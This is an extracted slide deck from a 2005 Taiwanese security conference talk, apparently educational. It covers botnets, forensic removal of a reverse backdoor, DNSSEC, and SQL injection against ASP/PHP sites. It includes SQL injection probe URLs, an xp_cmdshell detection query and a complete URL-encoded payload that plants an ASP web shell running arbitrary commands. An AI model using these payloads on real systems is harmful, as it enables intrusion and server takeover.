wise 2005 conference presented by erion lin, department of information management, national taiwan...

WISE 2005 Conference

Presented by Erion Lin,

Department of Information Management,

National Taiwan University

Outline

Introduction Network Security

Botnet Forensic Analysis of Reverse Backdoor DNSSEC Net Gap

Program Security SQL Injection Security Problems of ASP Security Problems of PHP Some Hack Skills

Conclusion

Introduction

Introduction

2004 年爆發多起資訊安全事件 中國大陸駭客入侵總統府網站 大陸網軍對我數位社會的威脅 健保、車籍資料外洩數百萬筆 網路犯罪案件數的大幅度成長

網路犯罪案件數的大幅度成長

1446

35533081

5208

0

1000

2000

3000

4000

5000

6000

90 91 92 93

Introduction (Cont’d)

2004 年 10 月 21 日，行政院頒布「各政府機關( 構 ) 落實資安事件危機處理具體執行方案，要求「各政府機關 ( 構 ) 對極重要、重要之敏感文件、資料、檔案等之處理，應採取檔案加密方式儲存，並除非常必要之連網外，均兼採實體隔離等防護措施，以防止被侵入破壞、竄改、刪除或未經授權之存取動作」。

Network Security

Botnet

Internet

Zombie2

Zombie1

Zombie3

Hacker

Zombie4

Zombie5

HornAttack

Victim

DMZ

InternetIntranet

Router

Firewall

Bi-apple Backdoor─Initial State

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

127.0.0.1

rabbi.bi-apple.net

Intranet

Victim

DMZ

Internet

Router

Firewall

Backdoor Active State

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

61.221.104.181

rabbi.bi-apple.net

rabbi.bi-apple.net

61.221.104.181

61.221.104.181

Intranet

Victim

DMZ

Internet

Router

Firewall

Backdoor Active State(Cont’d)

Target ServerZombie2

Hacker

Zombie1

Zombie3

Bi-apple DNS Server

DNS Server

rabbi.bi-apple.net

61.221.104.18161.221.104.181

Syn from Victim 61.221.104.181:80

Remote Control

Attack

Remote Control

Feature of Bi-Apple Backdoor

Hard to Detect Reverse Backdoor Easy to Change the Zombie

Digital Forensic Environment

Digital Forensic Analysis

On-Line Analysis Off-Line Analysis

On-Line Analysis

Emergency Recovery Find Out the Reason

On-Line Analysis Steps

Remove Process Remove File and Registry Reboot

Step1 ： Check Process Explorer

Step2 ： Check Autoruns

Step2 ： Check Autoruns

Step3 ： Check TCPView

Step4： Check File

Step4： Check File

Step5： Check DLL

Step6： Reboot

Step7 ： Check Process Explorer

Step8 ： Check Sniffer

Step9： Stop Running Process

explorer.exe IEXPLORE.exe

Step10： Delete Malicious Registry

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{B49DA3DF-E569-423d-BDEA-8F89128E8107}

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{2E8A6CF6-3500-4A7D-9F54-69CD76D367D2}

Step11： Reboot

Check System Activities Again Check Network Activities Again

Internet

Normal DNS

Hacker

DNS Administrator DNS Server

DNS Message

Accepted

Fake DNS Message

Accepted

Internet

DNSSEC

Hacker

DNS Administrator DNS Server with DNSSEC

DNS Message

Accepted

Fake DNS Message

Rejected

DNSSEC

TSIG Secret Key One-Way Hash Function

SIG0 Public Key

Net Gap

Intranet

Internet

Router

Firewall

Malicious TCP/TP Packet Net Gap1

Net Gap2

Processing Packet

Normal TCP/IP Packet

Net Gap(Cont’d)

Net Gap1： Deconstruct Packets Net Gap2： Reconstruct Packets

Program Security

SQL Injection

The attacker can execute arbitrary SQL queries AND/OR commands on the backend database server through the Web application.

May Occur SQL Injection

SQL Injection Detective Skill

Before http://www.ox.com.tw/script.asp?id=2’

IE returns ODBC error record.

New Generation http://www.ox.com.tw/script.asp?id=2 and 1=1

IE returns normal record. http://www.ox.com.tw/script.asp?id=2 and 1=2

IE returns no record.

Security Problems of ASP

SQL Injection

InstallWeb Shell

Others(mdb)(db2)

(Informix)

Install Backdoor

Oracle

Recoveryxp_cmdshell

MS SQL

MySQL

Directory traversalFile Information Leak

Upload Area

Configure FileDefault configure

DBDetecting

XP_CMDSHELL

Add New Account

FirewallOutbound

testing

TFTP 網芳FTP

Echo script

Echo exe file

Failure Success

Hack Skills of ASP

ASP SQL Injection MSSQL DB Detection Skill MSSQL Store Procedure Skill ASP WebShell Skill Firewall Outbound Shell One Way Hacking Backdoor Skill

SQL Injection

Others(mdb)(db2)

(Informix)

Oracle

MS SQL

MySQLDirectory traversalFile Information Leak

Upload Area

Configure FileDefault configure

DBDetection

Failure Success

Load FileTesting

Save FileTesting

Password File

System Configuration File

HomepageSource Code

PasswordBreakingProgram

Account andPassword

ProgramDefection

Create Temp DB

Save Backdoor into DBSystem Section

WritableWeb Section

WritableOverrideMySQL

Install Backdoor

Install Web Shell

Security Problems of PHP

Hack Skills of PHP

Writable Directory Testing Skill File Uploading DB Skill Temp Table Design Dkill PHP WebShell Skill Password Breaking Skill Unix Backdoor Skill

MSSQL DB Detection Skill

And 1=(Select @@version)

MSSQL 版本資訊

MSSQL Store Procedure Skill

http://www.ox.com.tw/asp/test.asp?id=294 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X‘ AND name= 'xp_cmdshell')

存在 xp_cmdshell 的話 會顯示原有新聞資料

不存在 xp_cmdshell 的話 會出現錯誤訊息或跳回首頁

ASP WebShell Skill

exec sp_makewebtask @outputfile%3d‘c:\inetpub\wwwroot/a.asp',@charset%3dbig5,@query%3d'select ''<%25On Error Resume Next : Set oscript %3d Server.CreateObject("wscript.SHELL") : Set oscriptNet %3d Server.CreateObject("wscript.NETWORK") : Set oFileSys %3d Server.CreateObject("scripting.FileSystemObject") : szCMD %3d Request.Form(".CMD") : If (szCMD <>"")Then : szTempFile %3d "C:\" %26 oFileSys.GetTempName() : Call oscript.Run ("cmd.exe /c " %26 szCMD %26 " > " %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25> <HTML><BODY><FORM action%3d"<%25%3d Request.ServerVariables("URL")%25>" method%3d"POST"> <input type%3dtext name%3d".CMD" size%3d45 value%3d"<%25%3d szCMD %25>"><input type%3dsubmit value%3d"Run"> </FORM><PRE> <%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25> </BODY></HTML> '‘ '

Backdoor Skills

重用連接埠技術 典型代表後門 : 駭客之門 它只有一個 dll 檔案，通過感染系統檔案啟動自身，被感染的系統檔案大小和日期都不會改變； . 同時採用線程插入技術，本身沒有進程；它本身不開連接埠，而是重用系統進程開的任意一個連接埠，如 80 ， 135 ， 139 ， 445 等

Web

FTP

Firewall( 外對內開 21,80, 內對外全設限 )

IE

ftp

Reuse Port Skill

1

BD

3

2

Conclusion

Conclusion

Software Security Quality Identify all data of user input. Handle meta-character carefully. Don’t give too much error message to user. Try to understand the characteristic of programming language. Avoid using APIs that will call shell directly. Check all application’s default setting

New Version of BS7799 Different vendors.

Information Security Education Management, Information and System

Thanks for Your Listening